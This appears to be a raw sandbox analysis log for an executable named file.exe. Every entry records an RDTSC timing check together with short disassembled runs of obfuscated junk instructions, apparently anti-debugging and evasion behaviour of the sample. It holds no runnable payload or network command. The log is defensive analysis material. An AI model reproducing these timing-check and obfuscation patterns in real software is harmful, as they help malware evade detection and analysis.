Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D80 second address: B68D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FDE8C51D4D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D90 second address: B68D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D94 second address: B68DB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FDE8C51D4DBh 0x00000010 pop edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68DB1 second address: B68DBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E4CB second address: A7E4F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDE8C51D4E7h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FDE8C51D4D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E68D second address: A7E6AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE8CE8B4D8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8035F second address: 4C803DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, 22h 0x0000000d call 00007FDE8C51D4E9h 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDE8C51D4E9h 0x0000001d xor ecx, 64F9D096h 0x00000023 jmp 00007FDE8C51D4E1h 0x00000028 popfd 0x00000029 mov si, D107h 0x0000002d popad 0x0000002e mov edx, dword ptr [ebp+0Ch] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov edi, 682B8D2Ah 0x00000039 mov di, 51F6h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803DD second address: 4C803E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803E3 second address: 4C803E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803E7 second address: 4C80405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE8CE8B4D1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80405 second address: 4C8040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0396 second address: 4CB039C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB039C second address: 4CB03E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE8C51D4E0h 0x00000009 sbb si, 20E8h 0x0000000e jmp 00007FDE8C51D4DBh 0x00000013 popfd 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDE8C51D4E7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB03E1 second address: 4CB03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB03F9 second address: 4CB046B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDE8C51D4DDh 0x00000012 jmp 00007FDE8C51D4DBh 0x00000017 popfd 0x00000018 pushad 0x00000019 mov dx, si 0x0000001c mov ah, EBh 0x0000001e popad 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007FDE8C51D4DDh 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FDE8C51D4DFh 0x00000031 or esi, 5F91B8FEh 0x00000037 jmp 00007FDE8C51D4E9h 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB046B second address: 4CB049E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE8CE8B4D7h 0x00000008 mov ah, 69h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE8CE8B4D1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB049E second address: 4CB04A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04A4 second address: 4CB04A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04A8 second address: 4CB04D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FDE8C51D4DFh 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDE8C51D4E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04D8 second address: 4CB050C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 call 00007FDE8CE8B4D3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDE8CE8B4D5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB050C second address: 4CB0595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FDE8C51D4DEh 0x0000000f lea eax, dword ptr [ebp-04h] 0x00000012 pushad 0x00000013 push ecx 0x00000014 pushfd 0x00000015 jmp 00007FDE8C51D4DDh 0x0000001a add ax, 9CC6h 0x0000001f jmp 00007FDE8C51D4E1h 0x00000024 popfd 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007FDE8C51D4E7h 0x0000002e xor ecx, 4B3DA3FEh 0x00000034 jmp 00007FDE8C51D4E9h 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0595 second address: 4CB05C0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDE8CE8B4D0h 0x00000008 xor cl, FFFFFFF8h 0x0000000b jmp 00007FDE8CE8B4CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 nop 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ch, 3Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB05C0 second address: 4CB066B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FDE8C51D4E3h 0x0000000c sub si, 136Eh 0x00000011 jmp 00007FDE8C51D4E9h 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FDE8C51D4E7h 0x00000020 sbb cx, 197Eh 0x00000025 jmp 00007FDE8C51D4E9h 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FDE8C51D4E0h 0x00000031 add si, 2478h 0x00000036 jmp 00007FDE8C51D4DBh 0x0000003b popfd 0x0000003c popad 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FDE8C51D4E0h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB066B second address: 4CB0671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0671 second address: 4CB06A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, A5h 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f call 00007FDE8C51D4DEh 0x00000014 mov edx, esi 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007FDE8C51D4DDh 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB06D0 second address: 4CB06E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0748 second address: 4CB0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0757 second address: 4CB078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE8CE8B4CFh 0x00000009 adc ax, 99DEh 0x0000000e jmp 00007FDE8CE8B4D9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB078B second address: 4CB07DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop esi 0x00000008 pushad 0x00000009 pushad 0x0000000a mov cx, A19Fh 0x0000000e jmp 00007FDE8C51D4E4h 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007FDE8C51D4E2h 0x0000001a jmp 00007FDE8C51D4E5h 0x0000001f popfd 0x00000020 popad 0x00000021 leave 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB07DF second address: 4CB07F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB07F2 second address: 4CB07F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB07F8 second address: 4CB07FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB07FC second address: 4CB0800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0800 second address: 4CA0206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FDE8CE8B4C7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FDE91284A87h 0x00000031 mov edi, edi 0x00000033 pushad 0x00000034 call 00007FDE8CE8B4D1h 0x00000039 pushfd 0x0000003a jmp 00007FDE8CE8B4D0h 0x0000003f jmp 00007FDE8CE8B4D5h 0x00000044 popfd 0x00000045 pop esi 0x00000046 mov edx, 35E87264h 0x0000004b popad 0x0000004c push ebx 0x0000004d pushad 0x0000004e mov edx, eax 0x00000050 push esi 0x00000051 pushfd 0x00000052 jmp 00007FDE8CE8B4D1h 0x00000057 adc eax, 4E0F7556h 0x0000005d jmp 00007FDE8CE8B4D1h 0x00000062 popfd 0x00000063 pop eax 0x00000064 popad 0x00000065 mov dword ptr [esp], ebp 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007FDE8CE8B4CAh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0206 second address: 4CA0218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8C51D4DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0218 second address: 4CA0244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e jmp 00007FDE8CE8B4D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0244 second address: 4CA0248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0248 second address: 4CA0319 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push FFFFFFFEh 0x00000009 jmp 00007FDE8CE8B4D8h 0x0000000e call 00007FDE8CE8B4C9h 0x00000013 pushad 0x00000014 mov cx, 36BDh 0x00000018 movzx eax, dx 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007FDE8CE8B4D4h 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 pushad 0x00000027 movsx edx, ax 0x0000002a call 00007FDE8CE8B4CAh 0x0000002f pop eax 0x00000030 popad 0x00000031 mov eax, dword ptr [eax] 0x00000033 jmp 00007FDE8CE8B4CCh 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c pushad 0x0000003d mov bx, 9ED4h 0x00000041 pushfd 0x00000042 jmp 00007FDE8CE8B4CDh 0x00000047 adc ecx, 2B838D96h 0x0000004d jmp 00007FDE8CE8B4D1h 0x00000052 popfd 0x00000053 popad 0x00000054 pop eax 0x00000055 pushad 0x00000056 mov bx, cx 0x00000059 mov di, cx 0x0000005c popad 0x0000005d push 2E8BCC65h 0x00000062 jmp 00007FDE8CE8B4CBh 0x00000067 xor dword ptr [esp], 5849E715h 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FDE8CE8B4D5h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0319 second address: 4CA0366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE8C51D4E7h 0x00000009 add esi, 32D654DEh 0x0000000f jmp 00007FDE8C51D4E9h 0x00000014 popfd 0x00000015 movzx ecx, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr fs:[00000000h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0366 second address: 4CA036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA036A second address: 4CA036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA036E second address: 4CA0374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0374 second address: 4CA0382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8C51D4DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0382 second address: 4CA03A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE8CE8B4D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03A0 second address: 4CA03A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03A6 second address: 4CA03AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03AA second address: 4CA03AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03AE second address: 4CA03DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FDE8CE8B4D7h 0x00000010 sub esp, 18h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ch, dh 0x00000018 mov eax, 3D5496E3h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03DE second address: 4CA03F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8C51D4E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03F6 second address: 4CA0450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FDE8CE8B4D6h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDE8CE8B4D1h 0x00000019 sbb esi, 130059F6h 0x0000001f jmp 00007FDE8CE8B4D1h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 mov ax, A13Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0450 second address: 4CA0489 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 111B1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b jmp 00007FDE8C51D4E4h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE8C51D4E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0489 second address: 4CA055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 call 00007FDE8CE8B4CBh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FDE8CE8B4D4h 0x00000016 xor ah, 00000008h 0x00000019 jmp 00007FDE8CE8B4CBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FDE8CE8B4D8h 0x00000025 and esi, 4CBF7968h 0x0000002b jmp 00007FDE8CE8B4CBh 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 jmp 00007FDE8CE8B4D6h 0x00000038 xchg eax, edi 0x00000039 jmp 00007FDE8CE8B4D0h 0x0000003e push eax 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FDE8CE8B4D1h 0x00000046 xor esi, 7244B4E6h 0x0000004c jmp 00007FDE8CE8B4D1h 0x00000051 popfd 0x00000052 jmp 00007FDE8CE8B4D0h 0x00000057 popad 0x00000058 xchg eax, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA055C second address: 4CA0561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0561 second address: 4CA05AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76C84538h] 0x0000000e jmp 00007FDE8CE8B4D0h 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 jmp 00007FDE8CE8B4D0h 0x0000001b xor eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05AB second address: 4CA05AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05AF second address: 4CA05B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05B5 second address: 4CA05BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05BC second address: 4CA0600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 jmp 00007FDE8CE8B4D8h 0x0000000d mov dword ptr [esp], eax 0x00000010 jmp 00007FDE8CE8B4D0h 0x00000015 lea eax, dword ptr [ebp-10h] 0x00000018 pushad 0x00000019 pushad 0x0000001a mov di, ax 0x0000001d mov ax, 187Fh 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0722 second address: 4CA0726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0726 second address: 4CA072C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA072C second address: 4CA074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, D650h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C903E0 second address: 4C903EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C903EF second address: 4C904B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE8C51D4DFh 0x00000008 pop ecx 0x00000009 movsx ebx, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FDE8C51D4E0h 0x00000015 push eax 0x00000016 pushad 0x00000017 movsx edi, cx 0x0000001a pushfd 0x0000001b jmp 00007FDE8C51D4DAh 0x00000020 sbb cx, 9A58h 0x00000025 jmp 00007FDE8C51D4DBh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FDE8C51D4DBh 0x00000034 or esi, 6251C11Eh 0x0000003a jmp 00007FDE8C51D4E9h 0x0000003f popfd 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 jmp 00007FDE8C51D4DEh 0x00000048 sub esp, 2Ch 0x0000004b pushad 0x0000004c movzx eax, dx 0x0000004f push edi 0x00000050 pushfd 0x00000051 jmp 00007FDE8C51D4E6h 0x00000056 sbb esi, 29524978h 0x0000005c jmp 00007FDE8C51D4DBh 0x00000061 popfd 0x00000062 pop eax 0x00000063 popad 0x00000064 push ebp 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C904B4 second address: 4C904BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C905BC second address: 4C90657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 sub edi, edi 0x00000008 jmp 00007FDE8C51D4E5h 0x0000000d inc ebx 0x0000000e jmp 00007FDE8C51D4DEh 0x00000013 test al, al 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushfd 0x00000018 jmp 00007FDE8C51D4DDh 0x0000001d or eax, 5B07C516h 0x00000023 jmp 00007FDE8C51D4E1h 0x00000028 popfd 0x00000029 pop esi 0x0000002a call 00007FDE8C51D4E1h 0x0000002f pop ebx 0x00000030 popad 0x00000031 je 00007FDE8C51D730h 0x00000037 jmp 00007FDE8C51D4DAh 0x0000003c lea ecx, dword ptr [ebp-14h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 movsx ebx, cx 0x00000045 call 00007FDE8C51D4E6h 0x0000004a pop eax 0x0000004b popad 0x0000004c rdtsc
